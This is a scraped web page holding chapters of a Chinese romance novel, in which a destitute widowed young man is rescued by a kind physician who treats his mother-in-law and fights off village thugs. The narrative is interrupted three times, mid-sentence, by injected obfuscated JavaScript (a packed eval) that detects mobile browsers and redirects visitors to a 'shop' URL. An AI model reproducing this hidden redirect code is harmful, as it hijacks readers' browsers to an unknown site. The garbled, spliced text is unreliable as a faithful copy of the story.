雷铤只是看着赵文碍眼,想把他打发走。他也知道村正的东西赵文绝不敢偷窃,就叫他去送药。赵文敢怒不敢言,一声也不敢言语,唯唯诺诺接了药来,见雷铤看着他,只得即刻就去了。他不知道邬秋体弱晕倒,只想着这一番折腾,那小哥儿大概早就跑没影了,送了药去也没再回高粱地找,径自去了。 邬秋醒来时,天早就黑透了。他一路哭,一路偷着回到土地庙。杨姝病体未愈,但惦记着邬秋一直没回来,早等得急了,想出去寻找,又昏昏沉沉,虚弱得站立不起,在地上半跪爬着,走两步发一阵昏,才摸索到土地庙外一条小路上,想喊人求救,可嗓子全喊哑了,也不见有人来,正暗自伤心,邬秋才匆匆跑回来,母子俩少不得又抱头痛哭一阵。 杨姝自薛安死后哭得太多,绣花又最是伤眼的活计,眼睛不大好了,此时庙里没敢点火,她看不清邬秋脸上身上的伤,只能拿手细细抚摸着邬秋的脸,摸到微微隆起的伤痕,惊道:“秋儿,你往哪里去了?这是怎么了?” 邬秋怕她担心,忍了忍泪宽慰她:“今日回来跑得急了,不小心跌了一跤,不妨事的,只是有点疼,并没摔坏。” 杨姝便把他搂在怀里,像爱抚自己亲生的小哥儿,摸着他的头发,一面自己也伤心。邬秋却又高兴起来,原来婆婆今日虽受了惊吓,可竟然已经不再发热,看来这病是大有起色。 或许他们很快就可以离开此地了。邬秋心里又燃起一丝希望。 不知是不是在高粱地里受了凉,邬秋次日早晨起来得很迟,醒来后头痛欲裂。他抬头一看,阳光早已从屋顶的破洞照进来,平日这时候杨姝也该起了,今日却毫无动静。邬秋心里一惊,忙去看时,杨姝还双目紧闭。他叫了几声,也全无反应。 邬秋吓得手都凉了,扑过去看时,却见杨姝浑身滚热,比前几日发热尤甚,怎么也叫不醒。邬秋平日再冷静,此时也慌了神,跌跌撞撞冲出去,拦住路过的村民求救。 他样子实在可怜,总算有几个好心人进来看了一眼,都摇摇头说无法可救。进来村里死去的流民不可胜数,村民们见到这样的病人,早已经心里默定这妇人恐怕熬不过今日,连村医也治不好的。有人提醒邬秋去城里找郎中,说不定还有得救,可又怕邬秋跟他们讨要看病的银钱,说完便一哄而散了。 邬秋别无他法,想等辆进城的牛车,左右等不来,干脆撒腿就像永宁城跑去。此时他哪还顾得上礼仪,直跑得头发散了半边,才遇上半路的一辆车。这时候也顾不得省银子,可永宁城到大有村还有一段路,等他终于到了城门口,却发现城门增设了兵丁,开始盘查进出城者的身份,凡是逃难来的灾民一概不可进城。 真是祸不单行。邬秋身上什么文凭路引都没带,可他无论如何今日要进城求医,想了想,又给了车夫一倍的钱,求他想个法子。那车夫拉着的全是大有村运来卖的菜蔬,最后他们将车停在无人之处,邬秋钻进一个装菜的筐子里,躲在一大堆青菜底下,这才勉强混进了永宁城。 医馆前居然围着不少人。邬秋站在外面干着急,拉住前面的人作揖恳求道:“这位公子,可否让我先见见郎中?我娘早起便昏迷不醒,性命垂危,我实在着急。” 前面的男子脾气不大好,回头道:“我说这位郎君,医馆门前,哪个不是着急的。我家里也有病人。再说这都申时了,郎君若真着急,何不早些来呢?”他扫了邬秋一眼,忽然戒备起来:“郎君可是永宁城人?” 邬秋只得解释道:“我家在城外大有村,因为路途不便,所以耽搁了时辰。求公子行个方便吧。” 邬秋原是很有涵养,彬彬有礼之人。今日也实在顾不得许多别的,见前面人不太多,情急之下竟想挤进前去,被方才那男子一把拽住胳膊拖到后面:“你怎么不讲理呢?”他已经疑心邬秋的身份,怕邬秋搅合在此处会引来巡检,就想把他支走:“看郎君这样子,恐怕都没有带够诊金吧。” 这话却提醒了邬秋。他刚刚为了进城,仅剩的钱也花去了大半。他忙问那男人道:“敢问公子,这医馆的郎中出诊,诊金很贵么?” 男人看他不了解内情,便有意哄骗他,想叫他知难而退,赶紧离开,报了一个巨大的数目,又补充道:“那是自然,这可是城内官医,又不是乡野游医,岂能随随便便就出诊的。而且人家最是公正,凭你是什么天皇贵胄还是亲戚朋友,管你是磕头作揖还是烧香拜佛,诊金可是不能少的。郎君若没带够钱,趁早回去,省得空忙一场。” 邬秋身上是无论如何没有那么多钱的。他把心一横,与其等下费了半天功夫见到郎中又不能请人家去给婆婆看病,倒不如现在去弄了钱来,倒省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091736|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去不少事。 他还有最后一个去处,事到如今,也不得不去试一试了。 永宁城北里有条小巷,名叫烟柳巷。邬秋初到永宁时,误打误撞曾路过此地。这北里多有官伎,而烟柳巷则是暗娼聚居之所。 邬秋已经走投无路,先前他遍访城中的店铺,没有一家愿意留他做工。现在急用钱时,他甚至连可以送到当铺的物件都没有。他把心一横,叩开了烟柳巷的一处院门。 只要能给他钱,救他婆婆一命。哪怕从此留在这里,倚门卖笑,他也无怨无悔。 邬秋本身生得很好,只是连日操劳,又忍饥挨饿,实在过于清瘦,脸色也不好看。再加上他刚刚为了进城躲在菜蔬之间,满头满脸沾的尽是污泥菜汁,头发散乱了,衣服也看着破旧不堪。正像一块美玉,落在泥潭里,叫淤泥掩去了光彩。鸨母把他从上到下打量几遭,还是下了逐客令。 像邬秋这样的哥儿收进来,怎么也得养个半月才能开得了张,不划算。 “按时服药,这几日饮食务必清淡些。” 雷铤嘱咐病人家眷几句,略略向他们拱了拱手,便向医馆走去。今日病人很多,他带着雷檀出诊,一天在外奔波没休息过。好在都不是什么大病,哪怕非亲非故,雷铤总还是愿意看到他人安康。雷檀跟着他走了一日,早就累得像霜打的茄子,蔫蔫地跟在他身后,跟雷铤商量:“大哥,下一家你自己去吧。我走不动了。” 雷铤看着他微微一笑,伸手揉了一把他的脑袋:“你若走不动,这次回了医馆就歇歇吧。平日数你最爱闹,想不到你也有喊累的时候。” 雷檀不太服气,但是连斗嘴的力气也没了,一步步往前挪。雷铤看他实在累了,就带他抄了个近路。雷檀只管低头跟着走路,忽然一下撞在雷铤身上。他一面揉着头抱怨:“好端端怎么忽然停下了?”一面从雷铤身后探头去看,却发现雷铤死盯着面前的小巷,他顺着雷铤的目光一望,直接惊呼出声:“那不是邬郎君吗?” 院门开了两扇,隔壁院的鸨母也出来,问着邬秋的话,犹豫着要不要收下他。邬秋看着有希望,跪在地上苦苦哀求,只求她能给些钱,容他去请郎中。而先前出来那位鸨母虽然原本不想收下邬秋,却又不甘落后于人,又拉扯着隔壁院的吵起嘴来。 场面一时混乱不堪。 雷铤眼睁睁看着,只觉得眼睛看到他如此落魄的样子,便是对邬秋的一种亵渎。初见时那样清亮如水的一个哥儿,如今竟跪在泥潭里,雷铤虽与他非亲非故,可也觉得心痛。他也顾不得许多旁的,直走上前去。他没说话,不过两个鸨母见他过来,同声止住争吵:“哎呀雷大公子,你可是从不上我们这来的,怎么,今日有兴致吗?” 雷铤并不同她们搭话,低头看着邬秋:“可是有什么难处?若有我能帮忙之处,一定尽力而为。先起来,别跪在这里。” 小雷檀蹦过来一看,立刻就冲着两个鸨母嚷起来:“光天化日,你们竟敢逼良为娼吗?我这就报了官府来拿你们!” “冤枉啊这可是冤枉啊!是他自己要来的,我们可没有逼他!” “我呸,你们定是看他好性儿,就欺负他了!” 四周嚷成一片,邬秋都已经听不到了,望着雷铤双眼含泪道:“大人,求您救救我娘吧,只要您肯救她,让我做什么我都愿意。” 他说完便要给雷铤磕头,雷铤一把拉着他的胳膊将他搀起来。他是一时情急,手里没收着力道,邬秋又太瘦,像只小鸡崽一样一下被拎起来,摇摇晃晃站立不住,雷铤赶忙扶着他的双肩,这才没让他摔了。 雷铤轻轻拍了拍他的肩膀以示安慰:“同我回医馆去,有话慢慢说。” 5. 英雄救美! 崔南山祖上属清河崔氏旁支,到了他这一辈,虽不是大富大贵之家,但也家底殷实。崔南山是个哥儿,可家里一样给请了先生,教他和他姐姐读书。因此崔南山不仅识文断字,而且能吟诗作对。正是应了腹有诗书气自华的话,他的才气使他看起来温婉大方,极有书卷气。 他初识雷迅时才十六岁。那年雷迅二十岁,上京赶考投宿在一家客栈。正逢中和节,雷迅与几个同门一同游寺赏花,碰上了同样来游春的崔南山。两人和了几句诗,渐渐互生情愫。雷迅科举落第,崔家起初不同意这门亲事,最后崔南山自己拿了主意,一定要嫁与雷迅,他父母拗不过他,只得应了。雷迅家里世代行医,这次科举之后,他也不再走科举求仕之路,带着崔南山到永宁城落了脚,又教他医术,一同治病救人。二人婚后第二年,崔南山就生下了雷铤。再后来不几年,医馆又被任为官医。一家人日子过得和和美美,一直是永宁城内一段美谈。 如今崔南山虽然早已过不惑之年,但依然温和良善,一如当年。他年轻的时候,附近几家的小孩子都很喜欢他,时常口误管他叫阿爹。这会儿崔南山正打了热水,替邬秋擦净了脸,又帮他把头发重新梳好,一面又唤雷铤去自己房里拿件干净衣服来给邬秋换。 邬秋已经说明了自己所遇之事,惴惴不安地低了头坐着,口内不住地道谢。崔南山喜欢他懂礼,又怜惜他的际遇,紧着安慰他。另一头,雷铤正忙着收拾应用的药材器具,准备随邬秋同去大有村为杨姝治病。邬秋还不放心,偷眼瞧着门外的人群,想自己是不是耽误了他们看病,倒心里觉得不安。崔南山看出他的心思,不禁一笑:“你不必担心这里,近日城外流民多了,这些百姓多是怕兴起大疫,所以来买防治疫病的药,并没有着急的,铤儿不在也不妨事。” 他顿了顿,又道:“方才还叫栎儿出去问过,有急病的病人可以先进来问诊的。大概你那时已经走了,恰巧没赶上。” 邬秋默默无言。他好像总是缺了点运气,譬如昨日的义诊,又如今日情状。但细想来,好像又总是在最后关头获得上天一点怜爱,不至真的将他逼向绝路。 他来不及多想,雷铤已经准备停当,为了方便病人歇息,就从后院驾了马车出来叫他。邬秋千恩万谢,这才上车坐了。他怕自己身上脏,倒弄脏了人家的车子,起初一段路只小心地挨着座上软垫的边沿,可他实在累极了,走着走着,竟不顾路上颠簸,昏昏沉沉歪靠着一个软枕睡着了。 这一觉睡得也不轻松,似乎总挣扎于半梦半醒之间,睡得也累人。一阵轻轻的“笃笃”声,伴着隐隐的有人说话之声,将这不安的睡撕裂一道口子。邬秋一下惊醒,只见马车已经停了,雷铤一手掀开车帘,另一只手轻叩车厢壁,唤他“邬郎君”,看他睁了眼,才开口说道:“已经到大有村村口了,郎君请给指个方向吧。” 此时已近日落时分,最坏的情况是杨姝已经昏迷将近一日。邬秋恨不能一步飞回那破庙里去,忙从车厢里出来坐到雷铤身边,省去些打帘子的麻烦,给他指了路。雷铤虽忙着打马驾车,但此时两人挨得近,余光扫了邬秋两眼,便瞧出他又是急又是累,俨然也已经是病了,只怕是心里这口气一松下来,整个人就会垮下去。他又怕邬秋身子虚弱,撑不住这样劳顿,便暗暗将另一只手伸到邬秋背后,握住车厢前缘的木架,实则是护着邬秋,怕他摔下车。 所幸天色已晚,村道上并没有什么闲人聚集,故此也无人阻拦雷铤的车,进村之后他们很快便走到了邬秋所指之处。邬秋连喊几声,破庙里都没有动静,也不等雷铤来扶他,马车刚一停稳就跳了下去,一边喊娘一边直跑了进去。雷铤被他喊得心里发紧,将马车赶到土地庙之后停好,也立即收拾了东西进来。 破庙里一片昏黑,雷铤不得不站在原地缓了缓,才能看清周遭的事物。他也无暇去观赏四周的残墙破瓦,径直向跪在地上抱着一人哭喊的邬秋走去。 邬秋浑身直发抖,六神无主地看着雷铤,已经乱了方寸,口内只喃喃地叫着娘。雷铤过去搭杨姝脉搏的时候,他连呼吸都屏住了,只听得到自己因为发抖、牙齿磕碰在一起发出的轻微声响。 雷铤点点头:“来得及时,还有救。” 这话同时也像是把邬秋救了,他终于可以大口喘气,忙不迭问道:“我能干点什么?” 杨姝病情危急,此刻不便带她再奔波投宿,只能就地诊治。雷铤让邬秋去生火烧水,又给了他一些药材,让他帮着熬药。此举一是为了多个人帮忙,省些时间,二来也是为了给邬秋找些事做,免得他松懈下来也跟着在这个节骨眼上一病不起。 邬秋一边煎药,一边看雷铤为杨姝急救。他不知道有没有人见过雷铤慌乱无措的样子,至少他觉得很难想象那样的场景。看着雷铤有条不紊地施针、帮杨姝调整躺卧的姿势,动作干脆利落,稳健而令邬秋感到自己的心跟着一点一点从嗓子眼落回肚子里。 倦意不似潮水涌来,倒像是夏日连阴雨,一丝一缕的潮湿缓慢地渗透进骨子里。邬秋裹紧了身上的衣袍,这是崔南山给他拿的干净衣物,干爽整洁,可却暖不过他的身子。他咬紧牙关,强迫自己把注意力全放在小锅里的药上。 又捱了好半天,直到外头天都黑透了,雷铤才走过来在他身边坐下,宽慰他道:“算是稳住了,你且放心。今日天晚,城门已经下钥,况且病人还需要休息,不便立刻在路上奔波。等明日就可以将你婆母接回医馆。她这原本不是什么大病,只是身子太虚弱,慢慢调养上两个月也就能好全了。” 邬秋两眼含泪,对着雷铤倒身便拜,要磕头谢恩。说来也怪,雷铤身为医者,是见惯生死之人,倒不是说他铁石心肠,譬如寻常病人过往经历悲惨,催人泪下,他当然也会同情,还会尽力相助,可不会为此影响自己的心绪。此时他忙扶着邬秋坐起来,借着火光,看见邬秋灰白的嘴唇微微颤抖,泪珠从瘦削的脸颊滑落,心里却似被刀一戳一般不忍,静默了半晌,方才开口道:“你不必担心,只管在医馆住下便是了。” 邬秋点点头,还想再说什么,忽然听到外面驾车的马匹一阵嘶鸣。 邬秋吓了一跳,就要站起来,雷铤知道医馆这匹马极通人性,绝不会无缘无故这样折腾,立刻将手轻轻搭在他肩上,止住他的动作:“别怕,我出去看看。” 有道是习武之人自当眼观六路,耳听八方。雷铤虽不是战场厮杀的将士,但常年闲时以此修身,也比旁人警觉,正要跨出庙门,忽听得晚风里掺杂着细碎的脚步之声,便止步回身向邬秋做个手势,示意他避到安全之处去。 邬秋立刻会意,爬过去扑到杨姝身上。风穿过破庙的土墙,这声音伴着马嘶和远处人家的犬吠,在深夜山村中倒显出几分诡谲之象。邬秋原本昏昏沉沉,现下倒是清醒了几分。 他猛然想起,是火! 前几日他为了避着村中那些恶匪,晚间皆不敢生火点灯,生怕让人发现,加上最初那些人还不像如今这般猖狂,行为有所收敛。而这这土地庙实在太破,位置又偏,所以侥幸逃过。可今日为着给杨姝煎药,加上雷铤又在身旁,倒将这回事抛在脑后。现在恐怕是有人见了火光,便找到此处来了! 这庙太破,庙门没有闩木,只用块石板抵着。雷铤站在门边的阴影里向外看了看,没看到有人露面,便将石板挪开,依旧将身子闪开,只抬腿用脚尖勾着庙门边沿,将门打开一条小缝。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091737|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 外面安静了一瞬,接着突然有人一脚踹在庙门上。那破门顶不住这一脚,轰然倒地,发出一连串巨响。邬秋吓得险些惊叫出声,可那一声又噎在了喉咙里,再发不出声音。 他看清了来人,正是数次在村口打劫他,后来又在高粱地狭路相逢的赵文和赵武。 赵武是个浑人,根本没看见屋里还有别人,愣头愣脑就要往进闯,嘴里还不干不净,对邬秋说些荤话。雷铤动作迅捷,一脚扫过赵武双腿,将他绊了个马趴,喝道:“什么人!” 赵武到大有村时间不长,只知道雷铤是永宁城的郎中,不知其底细。进来时看见除了邬秋之外还有旁人,先是吓了一跳,看清是雷铤后又放下心来,没把他放在眼里。他自视也算是个健壮男子,又上过战场,岂会怕一个郎中,故此虽然不设防摔了一跤,却不甚在意,站起来抡拳对着雷铤便要打。 雷铤冷笑一声,也不屑于同他缠斗,在赵武出拳时将身一躲,一伸手扣住他的手腕,指尖用力,直攻他脉门,又借力打力,先向自己怀中一带,紧跟着向外一推,道一声:“去!”赵武便又被他扔出一丈远,扑通一声仰面躺倒在地上。 赵文原是跟着同来的,看见雷铤时边软了腿脚,但还想着赵武许能打得过他。结果赵武一个照面就被打得滚在地上,捂着胳膊手腕起不来。赵文傻了眼,偏这时雷铤微微转头,斜睨了他一眼,他登时吓得屁滚尿流,再不敢多看邬秋一眼,扭头跌跌撞撞便往外跑了。 邬秋看呆了。这两人和他们带领的那群地痞,如噩梦般阴魂不散,像块笼罩在他头上的乌云。如今这块乌云如被一道惊雷劈碎,原来不仅落不下半点雨滴,还能露出被遮蔽住的皎皎月光。 赵文跑了,赵武还在地上挣扎不起。雷铤俯身单手攥住他的衣领,将他从地上拎起来,懒得同他多说废话,照定门外又是一扔。这赵武也是欺软怕硬之辈,哪还敢多话,也忙逃了去。雷铤知道现在官府无力辖制这些歹人,况且今日因自己在场,事情没闹大,怕是报官也没什么大用。再者说,邬秋和杨姝两个病人,也禁不住深更半夜折腾一遭。便只站在门口没有追出去,看着两人落荒而逃。 这庙门已经彻底变成了一块废门板,天色太晚,雷铤只得先将它扶起来,斜靠在门框上,依旧用石板抵着。再回头看时,只见邬秋跪在墙角呆望着他,心想他定是吓坏了,急忙走上前去在他面前蹲下来,轻声唤他:“秋哥儿?已经没事了,别怕。” 邬秋忽然一把抓住他的胳膊,声音颤抖道:“你、你可有受伤?有没有、有没有磕碰到……” 雷铤心里一动,笑着摇了摇头。邬秋松了口气,几滴压抑许久的泪这才从眼里涌出来,又不好意思当着雷铤的面痛哭,勉强忍住眼泪,一面哽咽着向雷铤道谢,一面去拿碗盛了药,一勺勺喂给杨姝。 他一边服侍杨姝喝药,一边将赵文等人如何与自己结怨的经过大略讲了些,不过没说什么细节,也没提那日在高粱地的事。雷铤坐在一旁,越听,眉头皱得越深。 平心而论,他很钦佩邬秋的坚忍和品德,况且邬秋勤劳肯干,纵是没了丈夫,若无如此人祸,也完全能撑起一个家。怕惊扰了杨姝,邬秋说话的声音很轻,明明所述皆是苦难,却有种置身事外,娓娓道来之感,更叫人怜爱。雷铤听着,只觉得愈加痛恨赵文赵武之流,便向邬秋道:“他们胆敢如此放肆,你放心,我会替你主持公道。” 邬秋低下头来:“此事皆因我而起,已经欠您几次救命之恩,又岂敢让公子再为我与这些人结怨……” 雷铤没有答话,惹得邬秋抬头看他,不料两人竟恰恰的目光相接。 邬秋一时忘了扭头躲开,也忘了眨一眨眼。 6. 带他回家! 尽管雷铤已有防范——给邬秋诊了脉,将身上所带能用之药送与他服下——到了深夜,邬秋还是发起热来。 他一夜又惊又怕,婆婆性命无忧之后一直吊着的那口气也顺势松下,几重因素下来,这病势便止也止不住,浑身烧得滚烫,偶尔迷迷糊糊说两句胡话。 夜色太浓,这破庙地处偏僻,又无法确定先前逃走的两人去了何处、有没有其他帮手、是否会折返回来或在路上设卡。故此雷铤细细思量一番,竟不好撇下邬秋独自去找村民求助,也不便带着他们两人走漆黑的村道去投宿,只得在这里设法先捱到天亮。 雷铤已经知晓邬秋是个寡夫郎,可此时人命关天,哪里还顾得上授受不亲之礼。邬秋身上软得没力气,雷铤只能半抱着他到火堆旁取暖。仅有的两床薄被全盖在杨姝身上,雷铤便将自己带来的一条斗篷替他盖上。 火光微微跃动,雷铤看清邬秋两颊飞红,便轻轻将手背贴上去试探温度。邬秋嘴唇动了动,吐出的字眼声音轻如浅浅的叹息。雷铤缩回手,俯身屏息听他在说什么,不料他一收手,邬秋的声音里竟带上了颤抖的哭腔:“不要……走……求你……” 一语未罢,邬秋的身子跟着便重重一颤,手无措地伸出来,但是人却没醒。身上那条斗篷随着他的动作滑落下来。 邬秋觉得自己恍惚间做了一个很长的梦。 梦里有滔天的洪水,有他死去的爹娘,有病得气息奄奄的婆婆,也有欺凌他的村霸和流民。这些人的脸忽大忽小,忽而倒转,忽而消失不见,他的眼泪未曾停歇,拼命地奔跑,却跑不出这一团如乱麻般叫人目眩的梦。 他又并未睡得很沉,似乎是醒过几次,不过他自己那时已分不清梦现实。一次觉得有人喊他名字,叫他张开嘴,他依言做了,几勺清凉的水喂进嘴里。他迟钝地想了想,后知后觉大概是雷铤在照料他,还勉强道了一声谢。 第二次觉得身上的冷意散去不少。他感觉到什么东西裹在自己身上,又觉得自己似乎不是躺在破庙的稻草堆上,身后的温暖紧贴着他,再次陷入梦境之前,邬秋闻到了一丝淡淡的药香,这气息很熟悉,让他觉得安心,不由自主向那片温暖缩了缩身体。 他好像有点记起来了。在马车上的时候,因为离得近,他闻到了雷铤身上同样的味道。 第三次醒来,觉得耳边风声、人声嘈杂,似乎颠簸得很厉害,邬秋头很痛,呜咽两声就又睡了过去,陷入昏迷之前,隐隐听到有人在他耳边说道:“别怕,就快好了。” 接着他又梦到了母亲。他娘还如当年的模样,向他招招手:“秋儿,快过来,让娘看看。都长这么大了。” 泪水止不住地从眼眶中涌出,可邬秋甚至舍不得花太多时间拭泪,匆匆抹去泪珠便眼睛一眨不眨地看着娘的脸:“娘,我好想你。” 他扑进他娘怀里,哽咽着说道:“我害怕,娘,我怕……” 他母亲笑而不语,只是抚摸他的头发,替他擦去眼泪。 等他真正彻底睁开双眼,发现自己已经躺在床上,身上的汗浸透了里衣。再往旁边看时,却看到崔南山正坐在床沿,端着一个白瓷小碗,舀了一勺碗里的汤药轻轻吹着,见他醒了,如释重负般长舒一口气,笑道:“菩萨保佑!好孩子,可算是醒来了。你已经昏睡一整天了。” 邬秋愣愣地看着他,半晌才想起挣扎着起身拜谢。崔南山忙扶着他叫他坐起来别乱动,拿了个软枕替他垫在身后,又替他披上件衣服,将勺子里的药喂到他唇边,一边又柔声安抚他:“你娘的病也无大碍,养上一两个月也就恢复如初了,这会儿正在那边房里歇着,我让栎儿帮忙照看着,另外我们这里还有个下人刘娘子,也一并让她去照顾着你娘,你不用担心,现下先别出去,免得加重了病,等好了再去看她。你的病是受了寒,又着急,心里有火气,不是什么厉害的大病,很快也就可好全了。” 邬秋虽然不记得,但大略也猜出是雷铤将他们带回医馆休养,心里着实感激,眼泪险些滴进药碗里。 邬秋毕竟是个哥儿,先前昏睡时便都是崔南山贴身照顾他。如今听说他醒了,小雷檀这才第一个跑来瞧他。还没进门,就听见他在外面喊:“邬郎君!邬郎君!听说你醒了,可把我们都吓死了!” 崔南山收拾了药碗,摇头笑道:“这孩子,还是改不了这冒冒失失的猴急性子。也罢,叫他进来陪你说两句话,我去灶房备些便饭,不然光喝药不吃饭,是要伤了胃的。” 雷檀已经在房门口探头,邬秋连忙叫他进来,小家伙这才欢天喜地跑进来。崔南山伸手在他脑袋上敲了敲:“好好陪着邬郎君,若有什么事就去找你大哥,或是到灶房找我。” 雷檀应一声就跑进屋,在旁边一张矮凳上坐了。邬秋便向他询问自己回来后的情况,雷檀一拍大腿,就像说书先生一拍惊堂醒木,跟着便又滔滔不绝讲起来:“可别提了,昨日简直要把我吓死了。我一大早起来,正到门口去开大门,一抬头就看见我家的马车直冲着医馆过来,我就说坏了,定是出了事。我都来不及进屋喊人,站在大门口把二哥和爹喊出来。你猜如何?驾车的也不是我大哥,是大有村村正家小儿子的夫郎。” 起初原是雷铤驾车,村正的夫人李娘子和儿夫郎雨哥儿在车里帮着照看杨姝和邬秋。这本是辆轻便小车,再乘不下别人,就没有再叫帮手。雷铤一路恨不得将车赶得飞起,又怕太过颠簸,只得耐下性子,却少不得心里焦急。岂料车子刚出村口,就听到车里嚷起来,雨哥儿连声叫道:“雷大哥!不好了,雷大哥你快来看看!” 邬秋原本静静地昏睡,忽然咳嗽了几声,头歪向一边便把早上喝的药吐了出来。雷铤替他把了把脉,知道大约是车子颠簸,邬秋又太虚弱,身子受不住。可雨哥儿本来胆子不大,一下子吓得不知怎样是好,生怕邬秋出什么意外,说什么也要换自己去驾车,让雷铤留在车里照料邬秋。 雷铤便留在车上,扶着邬秋的身子,让他半靠在自己怀里,这样便不会躺得太低。邬秋好像有一丝清醒,发出几声微弱的呻///吟,雷铤解下腰间挂的牛皮水囊,让他呷两口水漱口。邬秋人还晕着,但是很听话地含了水,雷铤一面替他拢着散下来的头发,一面在他耳边轻声吩咐:“漱漱口,吐出来。” 邬秋又乖乖照做。 实在惹人疼惜。雷铤原本不是多话的人。比起夸夸其谈,他更在意做些实事,为此甚至给一般人留下了个寡言少语的印象,此时明知邬秋大概听不到,却也禁不住自顾自安抚怀里的人:“别怕,一会儿就到家了,很快就好了。” 雷檀说到激动处连连摇头:“邬郎君你不知道,那雨哥儿胆子可小呢,我见他脸都白了,眼泪都快流出来了,把我也吓得不知怎样是好了。我阿爹后来一直打趣我,说我平时看着天不怕地不怕,遇上事就吓傻了。” 邬秋听他说笑,心情也好了不少,低头一笑。 雷檀见他笑,也跟着咯咯咯笑起来。两人正乐着,忽听门外雷铤的声音响起:“邬郎君醒来了吗?可否方便我进去诊一诊脉?” 邬秋已经穿好了衣服,急忙将雷铤请进来。几人说了两句闲话,雷铤轻轻卷起邬秋的袖口来,看见白皙的手腕上道道伤痕未褪,便先从怀中掏出一小盒药膏,在那些伤处慢慢擦开。 雷铤的手骨节分明,劲瘦而有力,加上在那破庙时,他打赵武那般容易,邬秋想他手下的力气应当也不小。可雷铤替他擦药的动作却轻柔至极,像是唯恐弄疼了他,末了将药膏放在他床头:“记得每日涂两次,身上若有其他伤处也一并擦上,不几日就好了。” 邬秋心里又多出几分惶恐来,他已经身无分文,皆因雷家的善心,在这里得到接济和庇护。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091738|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看那装药膏的瓷罐虽小,却十分精致,想这许是什么贵重的药,更不敢就这样接受。雷铤像是看出他心中所想,淡淡一笑道:“邬郎君安心用着便是。” 邬秋低头道谢:“多谢雷公子。” 雷铤摇摇头:“分内之事,郎君不必言谢。”他顿了顿,似乎稍作思量,才又开口:“郎君既然住下,与我们也不必如此生分。我表字‘良冶’,郎君这样称呼我就好。” 雷檀忙不迭点头:“就是就是!不知邬郎君贵庚?若是比我大哥小,你干脆就喊他雷大哥,好多熟识的友人都这样叫的。” 邬秋笑起来的样子很含蓄,嘴角向上勾起,带出两个小窝,眼睛也跟着弯一弯,很是可爱。他不太好意思直盯着人看,望着雷铤眨了眨眼,就快速低了头:“既是这样,就叫我秋哥儿就是了。” 正这时,崔南山提了一个食盒走进来:“哎哟,怎么挤了一屋子人,小秋才刚刚醒,你们倒这么闹人家。”一面坐在床边,将食盒揭开,里面装着一碗肉丝粥,上头卧了个鸡蛋,另有两样凉拌的小菜,看着很爽口。崔南山拿勺在粥里搅了搅,顺手就想喂给邬秋。邬秋哪里好意思,自己接了勺,放在唇边慢慢吹着。 雷檀在旁边坐着,托着脸笑:“阿爹总哄着来医馆的小孩子喝药,连秋哥哥也成了小孩子了。” 崔南山在雷檀脸上捏了捏:“小秋今年多大了?我瞧着倒比铤儿还小些,那可不就是小孩子了。” 邬秋一笑:“过了立秋就二十七岁了,哪里还算是孩子,只是多谢郎君疼我了。” 虽然相处时间不长,但崔南山打心眼里怜爱邬秋,觉得他性子和善,为人又懂礼,很招人喜欢,故此盯着邬秋看了又看,忍不住伸手摩挲他的头发,叹道:“可怜你在外漂泊,消瘦成这个样子。太久没好好吃过像样的饭,如今乍然吃些大鱼大肉反倒不好,克化不动。所以这两日先少吃些粥、面之类,等肠胃调养过来再好好补一补。” 邬秋双目含泪,自逃难离家的那天起积压的委屈和恐惧几乎要跟着一起宣泄而出,又顾着人多,不好意思痛哭。雷铤在一旁站着,看见他抬头以笑掩哭,眼里蓄满了水光粼粼的泪,更觉得心里不忍,想了想,倒不如自己先出去,让他痛快哭一场也好,免得闷在心里再把病激起来,便叫了雷檀一起从邬秋房中出来了。 两人出了门还在慨叹。雷檀小孩子心性,情绪来去极快,方才还差点跟着邬秋一起哭,现在又想起旁的事:“那伤药不是前两日大哥你说柳家小姐被灯油烫了手,要治伤除疤用,特意的叫我照着你开的方子抓的药,这才赶制出来的吗?怎么原来竟没送到柳家去?” 雷铤只是一笑:“柳家的差人来过,只要了些普通金疮药就去了。这药膏用的全是顶好的材料,放着不用反减了药力,不如给秋哥儿用,倒也便宜。” 雷檀直觉事实并非如此,却一时找不出破绽,只得作罢,自己回房去了。此时天已黑了,医馆也关了门,若非夜间有急病的病人,也不必再出诊。雷铤却没回自己卧房中,仍旧到书房坐下,顺手拿了本书来。书中夹着一张药方,上写着三七、龙骨、白及、冰片等十几味药材,有些被圈了出来,有些则被涂去,每味所用之量也在底下涂涂抹抹列了一长串。 这是雷铤琢磨了好几日,遍阅医书古籍后调出来的方子。 灯烛摇曳,雷铤研墨掭笔,沉思片刻,吟道:“金成数九而气和,九和时节,乃为秋也。” 他提笔在方子上提了“九和方”三字,盯着方子看了良久,才又将其放回书中夹着,吹熄了书房的灯。 